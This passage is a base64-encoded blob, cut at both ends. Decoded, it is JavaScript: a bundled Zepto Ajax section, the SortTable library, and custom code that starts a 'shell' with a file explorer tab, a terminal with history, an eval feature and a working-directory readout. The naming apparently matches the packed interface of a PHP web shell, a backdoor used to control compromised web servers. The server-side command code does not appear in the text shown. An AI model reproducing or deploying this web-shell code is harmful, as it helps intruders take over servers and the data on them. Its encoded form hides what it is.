W5jPSJhc3luYyJpbiBzZXR0aW5ncz9zZXR0aW5ncy5hc3luYzohMDt4aHIub3BlbihzZXR0aW5ncy50eXBlLHNldHRpbmdzLnVybCxhc3luYyxzZXR0aW5ncy51c2VybmFtZSxzZXR0aW5ncy5wYXNzd29yZCk7Zm9yKG5hbWUgaW4gaGVhZGVycyluYXRpdmVTZXRIZWFkZXIuYXBwbHkoeGhyLGhlYWRlcnNbbmFtZV0pO3JldHVybiBzZXR0aW5ncy50aW1lb3V0PjAmJihhYm9ydFRpbWVvdXQ9c2V0VGltZW91dChmdW5jdGlvbigpe3hoci5vbnJlYWR5c3RhdGVjaGFuZ2U9ZW1wdHkseGhyLmFib3J0KCksYWpheEVycm9yKG51bGwsInRpbWVvdXQiLHhocixzZXR0aW5ncyxkZWZlcnJlZCl9LHNldHRpbmdzLnRpbWVvdXQpKSx4aHIuc2VuZChzZXR0aW5ncy5kYXRhP3NldHRpbmdzLmRhdGE6bnVsbCkseGhyfSwkLmdldD1mdW5jdGlvbihhLGIsYyxkKXtyZXR1cm4gJC5hamF4KHBhcnNlQXJndW1lbnRzLmFwcGx5KG51bGwsYXJndW1lbnRzKSl9LCQucG9zdD1mdW5jdGlvbihhLGIsYyxkKXt2YXIgZT1wYXJzZUFyZ3VtZW50cy5hcHBseShudWxsLGFyZ3VtZW50cyk7cmV0dXJuIGUudHlwZT0iUE9TVCIsJC5hamF4KGUpfSwkLmdldEpTT049ZnVuY3Rpb24oYSxiLGMpe3ZhciBkPXBhcnNlQXJndW1lbnRzLmFwcGx5KG51bGwsYXJndW1lbnRzKTtyZXR1cm4gZC5kYXRhVHlwZT0ianNvbiIsJC5hamF4KGQpfSwkLmZuLmxvYWQ9ZnVuY3Rpb24oYSxiLGMpe2lmKCF0aGlzLmxlbmd0aClyZXR1cm4gdGhpczt2YXIgZD10aGlzLGU9YS5zcGxpdCgvXHMvKSxmLGc9cGFyc2VBcmd1bWVudHMoYSxiLGMpLGg9Zy5zdWNjZXNzO3JldHVybiBlLmxlbmd0aD4xJiYoZy51cmw9ZVswXSxmPWVbMV0pLGcuc3VjY2Vzcz1mdW5jdGlvbihhKXtkLmh0bWwoZj8kKCI8ZGl2PiIpLmh0bWwoYS5yZXBsYWNlKHJzY3JpcHQsIiIpKS5maW5kKGYpOmEpLGgmJmguYXBwbHkoZCxhcmd1bWVudHMpfSwkLmFqYXgoZyksdGhpc307dmFyIGVzY2FwZT1lbmNvZGVVUklDb21wb25lbnQ7JC5wYXJhbT1mdW5jdGlvbihhLGIpe3ZhciBjPVtdO3JldHVybiBjLmFkZD1mdW5jdGlvbihhLGIpe3RoaXMucHVzaChlc2NhcGUoYSkrIj0iK2VzY2FwZShiKSl9LHNlcmlhbGl6ZShjLGEsYiksYy5qb2luKCImIikucmVwbGFjZSgvJTIwL2csIisiKX19KFplcHRvKSxmdW5jdGlvbihhKXthLmZuLnNlcmlhbGl6ZUFycmF5PWZ1bmN0aW9uKCl7dmFyIGI9W10sYztyZXR1cm4gYShbXS5zbGljZS5jYWxsKHRoaXMuZ2V0KDApLmVsZW1lbnRzKSkuZWFjaChmdW5jdGlvbigpe2M9YSh0aGlzKTt2YXIgZD1jLmF0dHIoInR5cGUiKTt0aGlzLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCkhPSJmaWVsZHNldCImJiF0aGlzLmRpc2FibGVkJiZkIT0ic3VibWl0IiYmZCE9InJlc2V0IiYmZCE9ImJ1dHRvbiImJihkIT0icmFkaW8iJiZkIT0iY2hlY2tib3gifHx0aGlzLmNoZWNrZWQpJiZiLnB1c2goe25hbWU6Yy5hdHRyKCJuYW1lIiksdmFsdWU6Yy52YWwoKX0pfSksYn0sYS5mbi5zZXJpYWxpemU9ZnVuY3Rpb24oKXt2YXIgYT1bXTtyZXR1cm4gdGhpcy5zZXJpYWxpemVBcnJheSgpLmZvckVhY2goZnVuY3Rpb24oYil7YS5wdXNoKGVuY29kZVVSSUNvbXBvbmVudChiLm5hbWUpKyI9IitlbmNvZGVVUklDb21wb25lbnQoYi52YWx1ZSkpfSksYS5qb2luKCImIil9LGEuZm4uc3VibWl0PWZ1bmN0aW9uKGIpe2lmKGIpdGhpcy5iaW5kKCJzdWJtaXQiLGIpO2Vsc2UgaWYodGhpcy5sZW5ndGgpe3ZhciBjPWEuRXZlbnQoInN1Ym1pdCIpO3RoaXMuZXEoMCkudHJpZ2dlcihjKSxjLmlzRGVmYXVsdFByZXZlbnRlZCgpfHx0aGlzLmdldCgwKS5zdWJtaXQoKX1yZXR1cm4gdGhpc319KFplcHRvKSxmdW5jdGlvbihhKXsiX19wcm90b19fImlue318fGEuZXh0ZW5kKGEuemVwdG8se1o6ZnVuY3Rpb24oYixjKXtyZXR1cm4gYj1ifHxbXSxhLmV4dGVuZChiLGEuZm4pLGIuc2VsZWN0b3I9Y3x8IiIsYi5fX1o9ITAsYn0saXNaOmZ1bmN0aW9uKGIpe3JldHVybiBhLnR5cGUoYik9PT0iYXJyYXkiJiYiX19aImluIGJ9fSk7dHJ5e2dldENvbXB1dGVkU3R5bGUodW5kZWZpbmVkKX1jYXRjaChiKXt2YXIgYz1nZXRDb21wdXRlZFN0eWxlO3dpbmRvdy5nZXRDb21wdXRlZFN0eWxlPWZ1bmN0aW9uKGEpe3RyeXtyZXR1cm4gYyhhKX1jYXRjaChiKXtyZXR1cm4gbnVsbH19fX0oWmVwdG8pCi8qKgoqCiogU29ydFRhYmxlCiogdmVyc2lvbiAyCiogN3RoIEFwcmlsIDIwMDcKKiBTdHVhcnQgTGFuZ3JpZGdlLCBodHRwOi8vd3d3LmtyeW9nZW5peC5vcmcvY29kZS9icm93c2VyL3NvcnR0YWJsZS8KKgoqKi8KdmFyIGg9ITAsaj0hMTsKc29ydHRhYmxlPXtlOmZ1bmN0aW9uKCl7YXJndW1lbnRzLmNhbGxlZS5pfHwoYXJndW1lbnRzLmNhbGxlZS5pPWgsayYmY2xlYXJJbnRlcnZhbChrKSxkb2N1bWVudC5jcmVhdGVFbGVtZW50JiZkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSYmKHNvcnR0YWJsZS5hPS9eKFxkXGQ/KVtcL1wuLV0oXGRcZD8pW1wvXC4tXSgoXGRcZCk/XGRcZCkkLyxsKGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJ0YWJsZSIpLGZ1bmN0aW9uKGEpey0xIT1hLmNsYXNzTmFtZS5zZWFyY2goL1xic29ydGFibGVcYi8pJiZzb3J0dGFibGUuayhhKX0pKSl9LGs6ZnVuY3Rpb24oYSl7MD09YS5nZXRFbGVtZW50c0J5VGFnTmFtZSgidGhlYWQiKS5sZW5ndGgmJih0aGU9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgidGhlYWQiKSx0aGUuYXBwZW5kQ2hpbGQoYS5yb3dzWzBdKSxhLmluc2VydEJlZm9yZSh0aGUsYS5maXJzdENoaWxkKSk7bnVsbD09YS50SGVhZCYmKGEudEhlYWQ9YS5nZXRFbGVtZW50c0J5VGFnTmFtZSgidGhlYWQiKVswXSk7CmlmKDE9PWEudEhlYWQucm93cy5sZW5ndGgpe3NvcnRib3R0b21yb3dzPVtdO2Zvcih2YXIgYj0wO2I8YS5yb3dzLmxlbmd0aDtiKyspLTEhPWEucm93c1tiXS5jbGFzc05hbWUuc2VhcmNoKC9cYnNvcnRib3R0b21cYi8pJiYoc29ydGJvdHRvbXJvd3Nbc29ydGJvdHRvbXJvd3MubGVuZ3RoXT1hLnJvd3NbYl0pO2lmKHNvcnRib3R0b21yb3dzKXtudWxsPT1hLnRGb290JiYodGZvPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInRmb290IiksYS5hcHBlbmRDaGlsZCh0Zm8pKTtmb3IoYj0wO2I8c29ydGJvdHRvbXJvd3MubGVuZ3RoO2IrKyl0Zm8uYXBwZW5kQ2hpbGQoc29ydGJvdHRvbXJvd3NbYl0pO2RlbGV0ZSBzb3J0Ym90dG9tcm93c31oZWFkcm93PWEudEhlYWQucm93c1swXS5jZWxscztmb3IoYj0wO2I8aGVhZHJvdy5sZW5ndGg7YisrKWlmKCFoZWFkcm93W2JdLmNsYXNzTmFtZS5tYXRjaCgvXGJzb3J0dGFibGVfbm9zb3J0XGIvKSl7KG10Y2g9aGVhZHJvd1tiXS5jbGFzc05hbWUubWF0Y2goL1xic29ydHRhYmxlXyhbYS16MC05XSspXGIvKSkmJgoob3ZlcnJpZGU9bXRjaFsxXSk7aGVhZHJvd1tiXS5wPW10Y2gmJiJmdW5jdGlvbiI9PXR5cGVvZiBzb3J0dGFibGVbInNvcnRfIitvdmVycmlkZV0/c29ydHRhYmxlWyJzb3J0XyIrb3ZlcnJpZGVdOnNvcnR0YWJsZS5qKGEsYik7aGVhZHJvd1tiXS5vPWI7aGVhZHJvd1tiXS5jPWEudEJvZGllc1swXTt2YXIgYz1oZWFkcm93W2JdLGU9c29ydHRhYmxlLnE9ZnVuY3Rpb24oKXtpZigtMSE9dGhpcy5jbGFzc05hbWUuc2VhcmNoKC9cYnNvcnR0YWJsZV9zb3J0ZWRcYi8pKXNvcnR0YWJsZS5yZXZlcnNlKHRoaXMuYyksdGhpcy5jbGFzc05hbWU9dGhpcy5jbGFzc05hbWUucmVwbGFjZSgic29ydHRhYmxlX3NvcnRlZCIsInNvcnR0YWJsZV9zb3J0ZWRfcmV2ZXJzZSIpLHRoaXMucmVtb3ZlQ2hpbGQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNvcnR0YWJsZV9zb3J0ZndkaW5kIikpLHNvcnRyZXZpbmQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic3BhbiIpLHNvcnRyZXZpbmQuaWQ9InNvcnR0YWJsZV9zb3J0cmV2aW5kIiwKc29ydHJldmluZC5pbm5lckhUTUw9IiZuYnNwOyYjeDI1QjQ7Iix0aGlzLmFwcGVuZENoaWxkKHNvcnRyZXZpbmQpO2Vsc2UgaWYoLTEhPXRoaXMuY2xhc3NOYW1lLnNlYXJjaCgvXGJzb3J0dGFibGVfc29ydGVkX3JldmVyc2VcYi8pKXNvcnR0YWJsZS5yZXZlcnNlKHRoaXMuYyksdGhpcy5jbGFzc05hbWU9dGhpcy5jbGFzc05hbWUucmVwbGFjZSgic29ydHRhYmxlX3NvcnRlZF9yZXZlcnNlIiwic29ydHRhYmxlX3NvcnRlZCIpLHRoaXMucmVtb3ZlQ2hpbGQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNvcnR0YWJsZV9zb3J0cmV2aW5kIikpLHNvcnRmd2RpbmQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic3BhbiIpLHNvcnRmd2RpbmQuaWQ9InNvcnR0YWJsZV9zb3J0ZndkaW5kIixzb3J0ZndkaW5kLmlubmVySFRNTD0iJm5ic3A7JiN4MjVCRTsiLHRoaXMuYXBwZW5kQ2hpbGQoc29ydGZ3ZGluZCk7ZWxzZXt0aGVhZHJvdz10aGlzLnBhcmVudE5vZGU7bCh0aGVhZHJvdy5jaGlsZE5vZGVzLApmdW5jdGlvbihhKXsxPT1hLm5vZGVUeXBlJiYoYS5jbGFzc05hbWU9YS5jbGFzc05hbWUucmVwbGFjZSgic29ydHRhYmxlX3NvcnRlZF9yZXZlcnNlIiwiIiksYS5jbGFzc05hbWU9YS5jbGFzc05hbWUucmVwbGFjZSgic29ydHRhYmxlX3NvcnRlZCIsIiIpKX0pOyhzb3J0ZndkaW5kPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzb3J0dGFibGVfc29ydGZ3ZGluZCIpKSYmc29ydGZ3ZGluZC5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKHNvcnRmd2RpbmQpOyhzb3J0cmV2aW5kPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzb3J0dGFibGVfc29ydHJldmluZCIpKSYmc29ydHJldmluZC5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKHNvcnRyZXZpbmQpO3RoaXMuY2xhc3NOYW1lKz0iIHNvcnR0YWJsZV9zb3J0ZWQiO3NvcnRmd2RpbmQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic3BhbiIpO3NvcnRmd2RpbmQuaWQ9InNvcnR0YWJsZV9zb3J0ZndkaW5kIjtzb3J0ZndkaW5kLmlubmVySFRNTD0KIiZuYnNwOyYjeDI1QkU7Ijt0aGlzLmFwcGVuZENoaWxkKHNvcnRmd2RpbmQpO3Jvd19hcnJheT1bXTtjb2w9dGhpcy5vO3Jvd3M9dGhpcy5jLnJvd3M7Zm9yKHZhciBhPTA7YTxyb3dzLmxlbmd0aDthKyspcm93X2FycmF5W3Jvd19hcnJheS5sZW5ndGhdPVtzb3J0dGFibGUuZChyb3dzW2FdLmNlbGxzW2NvbF0pLHJvd3NbYV1dO3Jvd19hcnJheS5zb3J0KHRoaXMucCk7dGI9dGhpcy5jO2ZvcihhPTA7YTxyb3dfYXJyYXkubGVuZ3RoO2ErKyl0Yi5hcHBlbmRDaGlsZChyb3dfYXJyYXlbYV1bMV0pO2RlbGV0ZSByb3dfYXJyYXl9fTtpZihjLmFkZEV2ZW50TGlzdGVuZXIpYy5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsZSxqKTtlbHNle2UuZnx8KGUuZj1uKyspO2MuYnx8KGMuYj17fSk7dmFyIGc9Yy5iLmNsaWNrO2d8fChnPWMuYi5jbGljaz17fSxjLm9uY2xpY2smJihnWzBdPWMub25jbGljaykpO2dbZS5mXT1lO2Mub25jbGljaz1wfX19fSxqOmZ1bmN0aW9uKGEsYil7c29ydGZuPQpzb3J0dGFibGUubDtmb3IodmFyIGM9MDtjPGEudEJvZGllc1swXS5yb3dzLmxlbmd0aDtjKyspaWYodGV4dD1zb3J0dGFibGUuZChhLnRCb2RpZXNbMF0ucm93c1tjXS5jZWxsc1tiXSksIiIhPXRleHQpe2lmKHRleHQubWF0Y2goL14tP1tcdTAwYTMkXHUwMGE0XT9bXGQsLl0rJT8kLykpcmV0dXJuIHNvcnR0YWJsZS5uO2lmKHBvc3NkYXRlPXRleHQubWF0Y2goc29ydHRhYmxlLmEpKXtmaXJzdD1wYXJzZUludChwb3NzZGF0ZVsxXSk7c2Vjb25kPXBhcnNlSW50KHBvc3NkYXRlWzJdKTtpZigxMjxmaXJzdClyZXR1cm4gc29ydHRhYmxlLmc7aWYoMTI8c2Vjb25kKXJldHVybiBzb3J0dGFibGUubTtzb3J0Zm49c29ydHRhYmxlLmd9fXJldHVybiBzb3J0Zm59LGQ6ZnVuY3Rpb24oYSl7aWYoIWEpcmV0dXJuIiI7aGFzSW5wdXRzPSJmdW5jdGlvbiI9PXR5cGVvZiBhLmdldEVsZW1lbnRzQnlUYWdOYW1lJiZhLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJpbnB1dCIpLmxlbmd0aDtpZigiIiE9CmEudGl0bGUpcmV0dXJuIGEudGl0bGU7aWYoInVuZGVmaW5lZCIhPXR5cGVvZiBhLnRleHRDb250ZW50JiYhaGFzSW5wdXRzKXJldHVybiBhLnRleHRDb250ZW50LnJlcGxhY2UoL15ccyt8XHMrJC9nLCIiKTtpZigidW5kZWZpbmVkIiE9dHlwZW9mIGEuaW5uZXJUZXh0JiYhaGFzSW5wdXRzKXJldHVybiBhLmlubmVyVGV4dC5yZXBsYWNlKC9eXHMrfFxzKyQvZywiIik7aWYoInVuZGVmaW5lZCIhPXR5cGVvZiBhLnRleHQmJiFoYXNJbnB1dHMpcmV0dXJuIGEudGV4dC5yZXBsYWNlKC9eXHMrfFxzKyQvZywiIik7c3dpdGNoKGEubm9kZVR5cGUpe2Nhc2UgMzppZigiaW5wdXQiPT1hLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCkpcmV0dXJuIGEudmFsdWUucmVwbGFjZSgvXlxzK3xccyskL2csIiIpO2Nhc2UgNDpyZXR1cm4gYS5ub2RlVmFsdWUucmVwbGFjZSgvXlxzK3xccyskL2csIiIpO2Nhc2UgMTpjYXNlIDExOmZvcih2YXIgYj0iIixjPTA7YzxhLmNoaWxkTm9kZXMubGVuZ3RoO2MrKyliKz0Kc29ydHRhYmxlLmQoYS5jaGlsZE5vZGVzW2NdKTtyZXR1cm4gYi5yZXBsYWNlKC9eXHMrfFxzKyQvZywiIik7ZGVmYXVsdDpyZXR1cm4iIn19LHJldmVyc2U6ZnVuY3Rpb24oYSl7bmV3cm93cz1bXTtmb3IodmFyIGI9MDtiPGEucm93cy5sZW5ndGg7YisrKW5ld3Jvd3NbbmV3cm93cy5sZW5ndGhdPWEucm93c1tiXTtmb3IoYj1uZXdyb3dzLmxlbmd0aC0xOzA8PWI7Yi0tKWEuYXBwZW5kQ2hpbGQobmV3cm93c1tiXSk7ZGVsZXRlIG5ld3Jvd3N9LG46ZnVuY3Rpb24oYSxiKXthYT1wYXJzZUZsb2F0KGFbMF0ucmVwbGFjZSgvW14wLTkuLV0vZywiIikpO2lzTmFOKGFhKSYmKGFhPTApO2JiPXBhcnNlRmxvYXQoYlswXS5yZXBsYWNlKC9bXjAtOS4tXS9nLCIiKSk7aXNOYU4oYmIpJiYoYmI9MCk7cmV0dXJuIGFhLWJifSxsOmZ1bmN0aW9uKGEsYil7cmV0dXJuIGFbMF0udG9Mb3dlckNhc2UoKT09YlswXS50b0xvd2VyQ2FzZSgpPzA6YVswXS50b0xvd2VyQ2FzZSgpPGJbMF0udG9Mb3dlckNhc2UoKT8KLTE6MX0sZzpmdW5jdGlvbihhLGIpe210Y2g9YVswXS5tYXRjaChzb3J0dGFibGUuYSk7eT1tdGNoWzNdO209bXRjaFsyXTtkPW10Y2hbMV07MT09bS5sZW5ndGgmJihtPSIwIittKTsxPT1kLmxlbmd0aCYmKGQ9IjAiK2QpO2R0MT15K20rZDttdGNoPWJbMF0ubWF0Y2goc29ydHRhYmxlLmEpO3k9bXRjaFszXTttPW10Y2hbMl07ZD1tdGNoWzFdOzE9PW0ubGVuZ3RoJiYobT0iMCIrbSk7MT09ZC5sZW5ndGgmJihkPSIwIitkKTtkdDI9eSttK2Q7cmV0dXJuIGR0MT09ZHQyPzA6ZHQxPGR0Mj8tMToxfSxtOmZ1bmN0aW9uKGEsYil7bXRjaD1hWzBdLm1hdGNoKHNvcnR0YWJsZS5hKTt5PW10Y2hbM107ZD1tdGNoWzJdO209bXRjaFsxXTsxPT1tLmxlbmd0aCYmKG09IjAiK20pOzE9PWQubGVuZ3RoJiYoZD0iMCIrZCk7ZHQxPXkrbStkO210Y2g9YlswXS5tYXRjaChzb3J0dGFibGUuYSk7eT1tdGNoWzNdO2Q9bXRjaFsyXTttPW10Y2hbMV07MT09bS5sZW5ndGgmJihtPSIwIittKTsxPT1kLmxlbmd0aCYmCihkPSIwIitkKTtkdDI9eSttK2Q7cmV0dXJuIGR0MT09ZHQyPzA6ZHQxPGR0Mj8tMToxfSxyOmZ1bmN0aW9uKGEsYil7Zm9yKHZhciBjPTAsZT1hLmxlbmd0aC0xLGc9aDtnOyl7Zm9yKHZhciBnPWosZj1jO2Y8ZTsrK2YpMDxiKGFbZl0sYVtmKzFdKSYmKGc9YVtmXSxhW2ZdPWFbZisxXSxhW2YrMV09ZyxnPWgpO2UtLTtpZighZylicmVhaztmb3IoZj1lO2Y+YzstLWYpMD5iKGFbZl0sYVtmLTFdKSYmKGc9YVtmXSxhW2ZdPWFbZi0xXSxhW2YtMV09ZyxnPWgpO2MrK319fTtkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyJiZkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCJET01Db250ZW50TG9hZGVkIixzb3J0dGFibGUuZSxqKTtpZigvV2ViS2l0L2kudGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSl2YXIgaz1zZXRJbnRlcnZhbChmdW5jdGlvbigpey9sb2FkZWR8Y29tcGxldGUvLnRlc3QoZG9jdW1lbnQucmVhZHlTdGF0ZSkmJnNvcnR0YWJsZS5lKCl9LDEwKTsKd2luZG93Lm9ubG9hZD1zb3J0dGFibGUuZTt2YXIgbj0xO2Z1bmN0aW9uIHAoYSl7dmFyIGI9aDthfHwoYT0oKHRoaXMub3duZXJEb2N1bWVudHx8dGhpcy5kb2N1bWVudHx8dGhpcykucGFyZW50V2luZG93fHx3aW5kb3cpLmV2ZW50LGEucHJldmVudERlZmF1bHQ9cSxhLnN0b3BQcm9wYWdhdGlvbj1yKTt2YXIgYz10aGlzLmJbYS50eXBlXSxlO2ZvcihlIGluIGMpdGhpcy5oPWNbZV0sdGhpcy5oKGEpPT09aiYmKGI9aik7cmV0dXJuIGJ9ZnVuY3Rpb24gcSgpe3RoaXMucmV0dXJuVmFsdWU9an1mdW5jdGlvbiByKCl7dGhpcy5jYW5jZWxCdWJibGU9aH1BcnJheS5mb3JFYWNofHwoQXJyYXkuZm9yRWFjaD1mdW5jdGlvbihhLGIsYyl7Zm9yKHZhciBlPTA7ZTxhLmxlbmd0aDtlKyspYi5jYWxsKGMsYVtlXSxlLGEpfSk7CkZ1bmN0aW9uLnByb3RvdHlwZS5mb3JFYWNoPWZ1bmN0aW9uKGEsYixjKXtmb3IodmFyIGUgaW4gYSkidW5kZWZpbmVkIj09dHlwZW9mIHRoaXMucHJvdG90eXBlW2VdJiZiLmNhbGwoYyxhW2VdLGUsYSl9O1N0cmluZy5mb3JFYWNoPWZ1bmN0aW9uKGEsYixjKXtBcnJheS5mb3JFYWNoKGEuc3BsaXQoIiIpLGZ1bmN0aW9uKGUsZyl7Yi5jYWxsKGMsZSxnLGEpfSl9O2Z1bmN0aW9uIGwoYSxiKXtpZihhKXt2YXIgYz1PYmplY3Q7aWYoYSBpbnN0YW5jZW9mIEZ1bmN0aW9uKWM9RnVuY3Rpb247ZWxzZXtpZihhLmZvckVhY2ggaW5zdGFuY2VvZiBGdW5jdGlvbil7YS5mb3JFYWNoKGIsdm9pZCAwKTtyZXR1cm59InN0cmluZyI9PXR5cGVvZiBhP2M9U3RyaW5nOiJudW1iZXIiPT10eXBlb2YgYS5sZW5ndGgmJihjPUFycmF5KX1jLmZvckVhY2goYSxiLHZvaWQgMCl9fTsKdmFyIGxvYWRpbmdfY291bnQgPSAwOwp2YXIgcnVubmluZyA9IGZhbHNlOwp2YXIgZGVmYXVsdFRhYiA9ICdleHBsb3Jlcic7CnZhciBjdXJyZW50VGFiID0gJCgnIycrZGVmYXVsdFRhYik7CnZhciB0YWJTY3JvbGwgPSBuZXcgT2JqZWN0Owp2YXIgb25EcmFnID0gZmFsc2U7CnZhciBvblNjcm9sbCA9IGZhbHNlOwp2YXIgc2Nyb2xsRGVsdGEgPSAxOwp2YXIgc2Nyb2xsQ291bnRlciA9IDA7CnZhciBzY3JvbGxTcGVlZCA9IDYwOwp2YXIgc2Nyb2xsVGltZXIgPSAnJzsKdmFyIGRyYWdYID0gJyc7CnZhciBkcmFnWSA9ICcnOwp2YXIgZHJhZ0RlbHRhWCA9ICcnOwp2YXIgZHJhZ0RlbHRhWSA9ICcnOwp2YXIgZWRpdFN1Y2Nlc3MgPSAnJzsKdmFyIHRlcm1pbmFsSGlzdG9yeSA9IG5ldyBBcnJheSgpOwp2YXIgdGVybWluYWxIaXN0b3J5UG9zID0gMDsKdmFyIGV2YWxTdXBwb3J0ZWQgPSAiIjsKdmFyIGV2YWxSZWFkeSA9IGZhbHNlOwp2YXIgcmVzaXplVGltZXIgPSAnJzsKdmFyIHBvcnRhYmxlV2lkdGggPSA3MDA7CnZhciBwb3J0YWJsZU1vZGUgPSBudWxsOwpaZXB0byhmdW5jdGlvbigkKXsKCWlmKGluaXRfc2hlbGwpewoJCXZhciBub3cgPSBuZXcgRGF0ZSgpOwoJCW91dHB1dCgic3RhcnRlZCBAICIrIG5vdy50b0dNVFN0cmluZygpKTsKCQlvdXRwdXQoImN3ZCA6ICIrZ2V0X2N3ZCgpKTsKCQlvdXRwdXQoIm1vZHVsZSA6ICIrbW9kdWxlX3RvX2xvYWQpOwoJCXNob3dfdGFiKCk7CgkJeHBsX2JpbmQoKTsKCQlldmFsX2luaXQoKTsKCQkKCQl3aW5kb3dfcmVzaXplKCk7CgkJCgkJeHBsX3VwZGF0ZV9zdGF0dXMoKTsKCQkKCQkkKHdpbmRvdykub24oJ3Jlc2l6ZScsIGZ1bmN0aW9uKGUpewoJCQljbGVhclRpbWVvdXQocmVzaXplVGltZXIpOwoJCQlyZXNpemVUaW1lciA9IHNldFRpbWVvdXQoIndpbmRvd19yZXNpemUoKSIsIDEwMDApOwoJCX0pOwoJCSQoJy5tZW51aXRlbScpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCQlzZWxlY3RlZFRhYiA9ICQodGhpcykuYXR0cignaHJlZicpLnN1YnN0cigyKTsKCQkJc2hvd190YWIoc2VsZWN0ZWRUYWIpOwoJCX0pOwoJCSQoJyNsb2dvdXQnKS5vbignY2xpY2snLCBmdW5jdGlvbihlKXsKCQkJdmFyIGNvb2tpZSA9IGRvY3VtZW50LmNvb2tpZS5zcGxpdCgnOycpOwoJCQlmb3IodmFyIGk9MDsgaTxjb29raWUubGVuZ3RoOyBpKyspewoJCQkJdmFyIGVudHJpZXMgPSBjb29raWVbaV0sIGVudHJ5ID0gZW50cmllcy5zcGxpdCgiPSIpLCBuYW1lID0gZW50cnlbMF07CgkJCQlkb2N1bWVudC5jb29raWUgPSBuYW1lICsgIj0nJzsgZXhwaXJlcz1UaHUsIDAxIEphbiAxOTcwIDAwOjAwOjAxIEdNVDsgcGF0aD0vIjsKCQkJfQoJCQlsb2NhbFN0b3JhZ2UuY2xlYXIoKTsKCQkJbG9jYXRpb24uaHJlZiA9IHRhcmdldHVybDsKCQl9KTsKCQkkKCcjdG90b3AnKS5vbignY2xpY2snLCBmdW5jdGlvbihlKXsKCQkJJCh3aW5kb3cpLnNjcm9sbFRvcCgwKTsKCQl9KTsKCQkkKCcjdG90b3AnKS5vbignbW91c2VvdmVyJywgZnVuY3Rpb24oZSl7CgkJCW9uU2Nyb2xsID0gdHJ1ZTsKCQkJY2xlYXJUaW1lb3V0KHNjcm9sbFRpbWVyKTsKCQkJc3RhcnRfc2Nyb2xsKCd0b3AnKTsKCQl9KTsKCQkkKCcjdG90b3AnKS5vbignbW91c2VvdXQnLCBmdW5jdGlvbihlKXsKCQkJb25TY3JvbGwgPSBmYWxzZTsKCQkJc2Nyb2xsQ291bnRlciA9IDA7CgkJfSk7CgkJJCgnI3RvYm90dG9tJykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7CgkJCSQod2luZG93KS5zY3JvbGxUb3AoJChkb2N1bWVudCkuaGVpZ2h0KCktJCh3aW5kb3cpLmhlaWdodCgpKTsKCQl9KTsKCQkkKCcjdG9ib3R0b20nKS5vbignbW91c2VvdmVyJywgZnVuY3Rpb24oZSl7CgkJCW9uU2Nyb2xsID0gdHJ1ZTsKCQkJY2xlYXJUaW1lb3V0KHNjcm9sbFRpbWVyKTsKCQkJc3RhcnRfc2Nyb2xsKCdib3R0b20nKTsKCQl9KTsKCQkkKCcjdG9ib3R0b20nKS5vbignbW91c2VvdXQnLCBmdW5jdGlvbihlKXsKCQkJb25TY3JvbGwgPSBmYWxzZTsKCQkJc2Nyb2xsQ291bnRlciA9IDA7CgkJfSk7CgkJJCgnI2Jhc2ljSW5mbycpLm9uKCdtb3VzZWVudGVyJywgZnVuY3Rpb24oZSl7CgkJCSQoJyN0b2dnbGVCYXNpY0luZm8nKS5zaG93KCk7CgkJfSk7CgkJJCgnI2Jhc2ljSW5mbycpLm9uKCdtb3VzZWxlYXZlJywgZnVuY3Rpb24oZSl7CgkJCSQoJyN0b2dnbGVCYXNpY0luZm8nKS5oaWRlKCk7CgkJfSk7CgkJJCgnI3RvZ2dsZUJhc2ljSW5mbycpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCQkkKCcjYmFzaWNJbmZvJykuaGlkZSgpOwoJCQkkKCcjc2hvd2luZm8nKS5zaG93KCk7CgkJCSQoJyN0b2dnbGVCYXNpY0luZm8nKS5oaWRlKCk7CgkJCWxvY2FsU3RvcmFnZS5zZXRJdGVtKCdpbmZvQmFyU2hvd24nLCAnaGlkZGVuJyk7CgkJfSk7CgkJJCgnI3Nob3dpbmZvJykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7CgkJCSQoJyNiYXNpY0luZm8nKS5zaG93KCk7CgkJCSQoJyNzaG93aW5mbycpLmhpZGUoKTsKCQkJbG9jYWxTdG9yYWdlLnNldEl0ZW0oJ2luZm9CYXJTaG93bicsICdzaG93bicpOwoJCX0pOwoJCQoJCWlmKChpbmZvQmFyU2hvd24gPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnaW5mb0JhclNob3duJykpKXsKCQkJaWYoaW5mb0JhclNob3duPT0nc2hvd24nKXsKCQkJCSQoJyNiYXNpY0luZm8nKS5zaG93KCk7CgkJCQkkKCcjc2hvd2luZm8nKS5oaWRlKCk7CgkJCX0KCQkJZWxzZXsKCQkJCSQoJyNiYXNpY0luZm8nKS5oaWRlKCk7CgkJCQkkKCcjc2hvd2luZm8nKS5zaG93KCk7CgkJCQkkKCcjdG9nZ2xlQmFzaWNJbmZvJykuaGlkZSgpOwoJCQl9CgkJfQoJCWVsc2V7CgkJCWluZm9fcmVmcmVzaCgpOwoJCX0KCQlpZihoaXN0b3J5LnB1c2hTdGF0ZSl7CgkJCXdpbmRvdy5vbnBvcHN0YXRlID0gZnVuY3Rpb24oZXZlbnQpIHsgcmVmcmVzaF90YWIoKTsgfTsKCQl9CgkJZWxzZXsKCQkJd2luZG93Lmhpc3RvcnlFdmVudCA9IGZ1bmN0aW9uKGV2ZW50KSB7CX